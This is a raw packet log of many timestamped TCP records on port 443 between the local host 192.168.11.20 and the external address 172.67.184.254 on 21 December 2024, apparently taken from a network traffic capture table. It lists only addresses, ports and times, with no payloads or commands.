Dec 21, 2024 19:24:49.274729013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.274869919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.277252913 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.277261019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.277463913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.277463913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.277472973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.277513027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.277607918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.279333115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.279341936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.279524088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.279570103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.279570103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.279577971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.279803038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.282048941 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.282062054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.282280922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.282280922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.282293081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.282341957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.282520056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.284143925 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.284156084 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.284348965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.284348965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.284358025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.284368992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.284526110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.286406040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.286417007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.286577940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.286577940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.286639929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.286652088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.286659002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.286739111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.286786079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.288834095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.288845062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.289024115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.289161921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.289169073 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.289369106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.291214943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.291229010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.291404009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.291404009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.291523933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.291536093 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.291673899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.292198896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.292365074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.292424917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.294152975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.294163942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.294341087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.294419050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.294430971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.294526100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.297177076 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.297192097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.297329903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.297329903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.297342062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.297374010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.297482014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.299031019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.299041986 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.299182892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.299276114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.299283981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.299355030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.301492929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.301506996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.301620960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.301620960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.301634073 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.301717043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.301717043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.301815033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.303004980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.303016901 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.303215981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.303227901 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.303364038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.305166006 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.305177927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.305299997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.305310011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.305398941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.305486917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.307462931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.307472944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.307652950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.307652950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.307703018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.307709932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.307804108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.309535027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.309546947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.309706926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.309706926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.309720039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.309727907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.309727907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.309873104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.311688900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.311701059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.311858892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.311928034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.311938047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.312069893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.313661098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.313673973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.313875914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.313875914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.313886881 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.313896894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.313997030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.315789938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.315800905 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.315993071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.316001892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.316148996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.317774057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.317784071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.317974091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.317982912 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.318152905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.320229053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.320239067 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.320440054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.320532084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.320539951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.322043896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.322058916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.322201967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.322211981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.322325945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.322325945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.324199915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.324212074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.324417114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.324417114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.324428082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.324440956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.324539900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.325151920 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.325306892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.325314045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.325351954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.325351954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.327127934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.327138901 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.327285051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.327296972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.327305079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.327395916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.327395916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.329597950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.329607964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.329770088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.329828978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.329838037 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.329878092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.331624031 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.331636906 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.331756115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.331764936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.331893921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.333631039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.333641052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.333782911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.333782911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.333830118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.333928108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.333937883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.335910082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.335923910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.336071014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.336071014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.336081982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.336114883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.336114883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.336163044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.336215019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.337872982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.337882996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.338016033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.338083982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.338083982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.338089943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.340014935 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.340028048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.340152979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.340152979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.340162992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.340199947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.340249062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.340348959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.341953993 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.341965914 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.342142105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.342142105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.342154026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.342185974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.342236042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.344208002 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.344224930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.344340086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.344340086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.344352007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.344434977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.344434977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.344484091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.344533920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.346241951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.346252918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.346406937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.346406937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.346460104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.346460104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.346472025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.346478939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.346528053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.348304033 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.348315001 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.348445892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.348457098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.348490953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.348490953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.348545074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.348545074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.348587990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.350339890 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.350353003 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.350486994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.350569010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.350569010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.350583076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.350583076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.350589037 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.350665092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.352745056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.352758884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.352936029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.352945089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.353032112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.354526997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.354538918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.354737043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.354748964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.354855061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.356893063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.356909990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.357091904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.357091904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.357103109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.357136011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.357187986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.358845949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.358855009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.359019995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.359031916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.359080076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.359124899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.373277903 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.373291016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.373599052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.373599052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.373599052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.373599052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.373611927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.375119925 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.375135899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.375298977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.375308990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.375396013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.376699924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.376709938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.376848936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.376848936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.376857996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.376945972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.376945972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.378659964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.378678083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.378824949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.378918886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.378918886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.378928900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.380538940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.380558014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.380711079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.380711079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.380723000 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.380758047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.380810022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.380856037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.382445097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.382462025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.382622957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.382704020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.382714987 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.382723093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.384397984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.384416103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.384557962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.384567976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.384605885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.384605885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.384677887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.384702921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.387073994 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.387090921 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.387213945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.387213945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.387258053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.387258053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.387267113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.387311935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.387358904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.389492989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.389511108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.389710903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.389710903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.389723063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.389731884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.389806986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.391376019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.391391039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.391602039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.391602039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.391613007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.391621113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.391695023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.392981052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.392998934 CET	443	49766	172.67.184.254	192.168.11.20
